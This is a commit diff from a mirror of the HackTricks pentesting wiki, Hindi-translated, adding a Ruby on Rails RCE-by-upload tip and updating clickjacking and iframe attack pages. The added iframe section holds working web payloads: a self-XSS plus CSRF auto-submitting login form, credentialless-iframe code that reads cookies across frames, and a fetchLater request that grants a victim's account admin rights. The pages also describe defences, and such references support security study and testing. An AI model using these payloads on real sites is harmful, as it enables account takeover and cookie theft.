mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
b812f61e28
commit
b60d2f48e6
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
||||
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## फ़ाइल अपलोड करना RCE के लिए
|
||||
|
||||
जैसा कि [इस लेख](https://www.offsec.com/blog/cve-2024-46986/) में बताया गया है, संवेदनशील निर्देशिकाओं जैसे `config/initializers/` में `.rb` फ़ाइल अपलोड करने से Ruby on Rails अनुप्रयोगों में रिमोट कोड निष्पादन (RCE) हो सकता है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## What is Clickjacking
|
||||
|
||||
एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या किसी अन्य तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी करना।
|
||||
एक clickjacking हमले में, एक **उपयोगकर्ता** को एक **तत्व** पर **क्लिक** करने के लिए **धोखा** दिया जाता है जो या तो **अदृश्य** होता है या किसी अन्य तत्व के रूप में छिपा होता है। यह हेरफेर उपयोगकर्ता के लिए अनपेक्षित परिणामों का कारण बन सकता है, जैसे कि मैलवेयर का डाउनलोड होना, दुर्भावनापूर्ण वेब पृष्ठों पर पुनर्निर्देशन, क्रेडेंशियल्स या संवेदनशील जानकारी का प्रदान करना, पैसे का हस्तांतरण, या उत्पादों की ऑनलाइन खरीदारी।
|
||||
|
||||
### Prepopulate forms trick
|
||||
|
||||
@ -91,8 +91,8 @@ background: #F00;
|
||||
|
||||
यदि आपने एक **XSS हमले की पहचान की है जो उपयोगकर्ता को** किसी तत्व पर **क्लिक करने की आवश्यकता है** ताकि **XSS को ट्रिगर** किया जा सके और पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए धोखा दिया जा सके।\
|
||||
उदाहरण:\
|
||||
आपने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग** के लिए **संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।\
|
||||
एक हमलावर उस पृष्ठ के लिए एक **क्लिकजैकिंग** हमले की तैयारी कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-जनित** करके और **उपयोगकर्ता** को **फॉर्म सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**।
|
||||
आपने खाते के कुछ निजी विवरणों में एक **स्वयं XSS** पाया (विवरण जो **केवल आप सेट और पढ़ सकते हैं**)। इन विवरणों को सेट करने के लिए **फॉर्म** वाला पृष्ठ **क्लिकजैकिंग के लिए संवेदनशील** है और आप **GET पैरामीटर** के साथ **फॉर्म** को **पूर्व-जनित** कर सकते हैं।\
|
||||
एक हमलावर उस पृष्ठ के लिए एक **क्लिकजैकिंग** हमले की तैयारी कर सकता है **फॉर्म** को **XSS पेलोड** के साथ **पूर्व-जनित** करके और **उपयोगकर्ता** को फॉर्म को **सबमिट** करने के लिए **धोखा** देकर। तो, **जब फॉर्म सबमिट किया जाता है** और मानों को संशोधित किया जाता है, तो **उपयोगकर्ता XSS को निष्पादित करेगा**।
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
@ -126,13 +126,13 @@ id="victim_website"
|
||||
src="https://victim-website.com"
|
||||
sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
`allow-forms` और `allow-scripts` मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष-स्तरीय नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर `allow-same-origin` और `allow-modals` जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ दी जानी चाहिए।
|
||||
`allow-forms` और `allow-scripts` मान iframe के भीतर क्रियाओं को सक्षम करते हैं जबकि शीर्ष स्तर की नेविगेशन को निष्क्रिय करते हैं। लक्षित साइट की इच्छित कार्यक्षमता सुनिश्चित करने के लिए, हमलों के प्रकार के आधार पर `allow-same-origin` और `allow-modals` जैसे अतिरिक्त अनुमतियों की आवश्यकता हो सकती है। ब्राउज़र कंसोल संदेश यह मार्गदर्शन कर सकते हैं कि कौन सी अनुमतियाँ दी जानी चाहिए।
|
||||
|
||||
### सर्वर-साइड रक्षा
|
||||
|
||||
#### X-Frame-Options
|
||||
|
||||
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़रों को `<frame>` या `<iframe>` में पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जिससे Clickjacking को रोकने में मदद मिलती है:
|
||||
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** ब्राउज़रों को `<frame>` या `<iframe>` में एक पृष्ठ को रेंडर करने की वैधता के बारे में सूचित करता है, जिससे Clickjacking को रोकने में मदद मिलती है:
|
||||
|
||||
- `X-Frame-Options: deny` - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।
|
||||
- `X-Frame-Options: sameorigin` - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।
|
||||
@ -177,13 +177,13 @@ Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
|
||||
**उपयोग नोट्स:**
|
||||
|
||||
- अवहेलना: child-src को frame-src और worker-src के पक्ष में समाप्त किया जा रहा है।
|
||||
- अवशेष: child-src को frame-src और worker-src के पक्ष में समाप्त किया जा रहा है।
|
||||
- फॉलबैक व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम के लिए fallback के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।
|
||||
- सख्त स्रोत परिभाषा: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।
|
||||
|
||||
#### JavaScript फ्रेम-ब्रेकिंग स्क्रिप्ट्स
|
||||
|
||||
हालांकि यह पूरी तरह से सुरक्षित नहीं है, JavaScript-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ्रेम होने से रोकने के लिए किया जा सकता है। उदाहरण:
|
||||
हालांकि यह पूरी तरह से सुरक्षित नहीं है, JavaScript-आधारित फ्रेम-बस्टिंग स्क्रिप्ट्स का उपयोग एक वेब पृष्ठ को फ्रेम किए जाने से रोकने के लिए किया जा सकता है। उदाहरण:
|
||||
```javascript
|
||||
if (top !== self) {
|
||||
top.location = self.location
|
||||
@ -191,7 +191,7 @@ top.location = self.location
|
||||
```
|
||||
#### एंटी-CSRF टोकन का उपयोग करना
|
||||
|
||||
- **टोकन मान्यता:** वेब अनुप्रयोगों में एंटी-CSRF टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि स्थिति-परिवर्तन करने वाले अनुरोध जानबूझकर उपयोगकर्ता द्वारा किए गए हैं और किसी Clickjacked पृष्ठ के माध्यम से नहीं।
|
||||
- **टोकन मान्यता:** वेब अनुप्रयोगों में एंटी-CSRF टोकन का उपयोग करें ताकि यह सुनिश्चित किया जा सके कि स्थिति-परिवर्तन करने वाले अनुरोध जानबूझकर उपयोगकर्ता द्वारा किए गए हैं और किसी Clickjacked पृष्ठ के माध्यम से नहीं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
एक iframed पृष्ठ की सामग्री को इंगित करने के 3 तरीके हैं:
|
||||
|
||||
- `src` के माध्यम से एक URL को इंगित करना (URL क्रॉस ओरिजिन या समान ओरिजिन हो सकता है)
|
||||
- `data:` प्रोटोकॉल का उपयोग करके सामग्री को इंगित करने के लिए `src` के माध्यम से
|
||||
- सामग्री को इंगित करने के लिए `srcdoc` के माध्यम से
|
||||
- `src` के माध्यम से एक URL इंगित करना (URL क्रॉस ओरिजिन या समान ओरिजिन हो सकता है)
|
||||
- `src` के माध्यम से `data:` प्रोटोकॉल का उपयोग करके सामग्री इंगित करना
|
||||
- `srcdoc` के माध्यम से सामग्री इंगित करना
|
||||
|
||||
**Parent & Child vars तक पहुँच**
|
||||
```html
|
||||
@ -45,12 +45,12 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
यदि आप पिछले html को http सर्वर (जैसे `python3 -m http.server`) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, **माता-पिता किसी भी iframe के अंदर `secret` var तक पहुँच नहीं पाएंगे** और **केवल if2 और if3 (जिन्हें समान-साइट माना जाता है) मूल विंडो में secret तक पहुँच सकते हैं।**\
|
||||
यदि आप पिछले html को http सर्वर (जैसे `python3 -m http.server`) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, **माता-पिता किसी भी iframe के अंदर `secret` var तक पहुँच नहीं पाएंगे** और **केवल iframes if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में secret तक पहुँच सकते हैं।**\
|
||||
ध्यान दें कि if4 को `null` उत्पत्ति माना जाता है।
|
||||
|
||||
### CSP के साथ Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> कृपया ध्यान दें कि निम्नलिखित बायपास में iframed पृष्ठ के लिए प्रतिक्रिया में कोई CSP हेडर नहीं है जो JS निष्पादन को रोकता है।
|
||||
|
||||
`script-src` का `self` मान `data:` प्रोटोकॉल या `srcdoc` विशेषता का उपयोग करके JS कोड के निष्पादन की अनुमति नहीं देगा।\
|
||||
@ -77,13 +77,13 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
||||
</html>
|
||||
```
|
||||
ध्यान दें कि **पिछला CSP केवल इनलाइन स्क्रिप्ट के निष्पादन की अनुमति देता है**।\
|
||||
हालांकि, **केवल `if1` और `if2` स्क्रिप्ट निष्पादित होने जा रही हैं लेकिन केवल `if1` माता-पिता के रहस्य तक पहुँच सकेगा**।
|
||||
हालांकि, **केवल `if1` और `if2` स्क्रिप्ट्स निष्पादित होने जा रही हैं लेकिन केवल `if1` ही पैरेंट सीक्रेट तक पहुंच सकेगा**।
|
||||
|
||||
.png>)
|
||||
|
||||
इसलिए, यह संभव है कि **यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे iframe के माध्यम से लोड कर सकते हैं तो CSP को बायपास किया जा सकता है, भले ही `script-src 'none'` हो**। यह **संभावित रूप से एक समान-साइट JSONP एंडपॉइंट का दुरुपयोग करके भी किया जा सकता है**।
|
||||
इसलिए, यह संभव है कि **यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे iframe के माध्यम से लोड कर सकते हैं, तो CSP को बायपास किया जा सकता है, भले ही `script-src 'none'` हो**। यह **संभावित रूप से एक ही साइट JSONP एंडपॉइंट का दुरुपयोग करके भी किया जा सकता है**।
|
||||
|
||||
आप इस परिदृश्य के साथ इसका परीक्षण कर सकते हैं जहाँ एक कुकी चुराई जाती है, भले ही `script-src 'none'` हो। बस एप्लिकेशन चलाएँ और इसे अपने ब्राउज़र के साथ एक्सेस करें:
|
||||
आप इस परिदृश्य के साथ इसका परीक्षण कर सकते हैं जहां एक कुकी चुराई जाती है, भले ही `script-src 'none'` हो। बस एप्लिकेशन चलाएं और इसे अपने ब्राउज़र के साथ एक्सेस करें:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -127,13 +127,60 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
|
||||
- कुछ APIs तक पहुँच अक्षम है।
|
||||
- यह लिंक को अन्य ब्राउज़िंग संदर्भों के साथ बातचीत करने से रोकता है।
|
||||
- `<embed>`, `<object>`, `<applet>`, या समान टैग के माध्यम से प्लगइन्स का उपयोग निषिद्ध है।
|
||||
- सामग्री के शीर्ष स्तर के ब्राउज़िंग संदर्भ में सामग्री द्वारा नेविगेशन को रोका जाता है।
|
||||
- सामग्री के शीर्ष-स्तरीय ब्राउज़िंग संदर्भ में सामग्री द्वारा नेविगेशन को रोका जाता है।
|
||||
- स्वचालित रूप से सक्रिय होने वाली सुविधाएँ, जैसे वीडियो प्लेबैक या फॉर्म नियंत्रणों का ऑटो-फोकस, अवरुद्ध होती हैं।
|
||||
|
||||
विशेषता का मान खाली छोड़ा जा सकता है (`sandbox=""`) ताकि उपरोक्त सभी प्रतिबंध लागू हों। वैकल्पिक रूप से, इसे विशिष्ट मानों की एक स्पेस-सेपरेटेड सूची पर सेट किया जा सकता है जो iframe को कुछ प्रतिबंधों से छूट देती है।
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
जैसा कि [इस लेख](https://blog.slonser.info/posts/make-self-xss-great-again/) में बताया गया है, एक iframe में `credentialless` फ्लैग का उपयोग एक iframe के अंदर एक पृष्ठ को बिना क्रेडेंशियल भेजे लोड करने के लिए किया जाता है, जबकि iframe में लोड किए गए पृष्ठ की समान मूल नीति (SOP) को बनाए रखा जाता है।
|
||||
|
||||
यह iframe को समान SOP में लोड किए गए दूसरे iframe से संवेदनशील जानकारी तक पहुँचने की अनुमति देता है:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Exploit example: Self-XSS + CSRF
|
||||
|
||||
इस हमले में, हमलावर एक दुर्भावनापूर्ण वेबपृष्ठ तैयार करता है जिसमें 2 iframes होते हैं:
|
||||
|
||||
- एक iframe जो पीड़ित के पृष्ठ को `credentialless` ध्वज के साथ लोड करता है जिसमें एक CSRF होता है जो XSS को ट्रिगर करता है (कल्पना करें कि उपयोगकर्ता के उपयोगकर्ता नाम में Self-XSS है):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- दूसरा iframe जो वास्तव में उपयोगकर्ता को लॉग इन करता है (बिना `credentialless` ध्वज के)।
|
||||
|
||||
फिर, XSS से दूसरे iframe तक पहुंचना संभव है क्योंकि उनके पास समान SOP है और उदाहरण के लिए कुकी चुराने के लिए निष्पादित करना:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
जैसा कि [इस लेख](https://blog.slonser.info/posts/make-self-xss-great-again/) में संकेत दिया गया है, API `fetchLater` एक अनुरोध को बाद में (एक निश्चित समय के बाद) निष्पादित करने के लिए कॉन्फ़िगर करने की अनुमति देता है। इसलिए, इसका दुरुपयोग किया जा सकता है, उदाहरण के लिए, एक हमलावर के सत्र में एक पीड़ित को लॉगिन करने के लिए (Self-XSS के साथ), एक `fetchLater` अनुरोध सेट करने के लिए (उदाहरण के लिए, वर्तमान उपयोगकर्ता का पासवर्ड बदलने के लिए) और हमलावर के सत्र से लॉगआउट करने के लिए। फिर, पीड़ित अपने सत्र में लॉगिन करता है और `fetchLater` अनुरोध निष्पादित होगा, पीड़ित का पासवर्ड हमलावर द्वारा सेट किए गए पासवर्ड में बदल जाएगा।
|
||||
|
||||
इस तरह, भले ही पीड़ित का URL iframe में लोड नहीं किया जा सकता (CSP या अन्य प्रतिबंधों के कारण), हमलावर अभी भी पीड़ित के सत्र में एक अनुरोध निष्पादित कर सकता है।
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## SOP में Iframes
|
||||
|
||||
निम्नलिखित पृष्ठों की जांच करें:
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user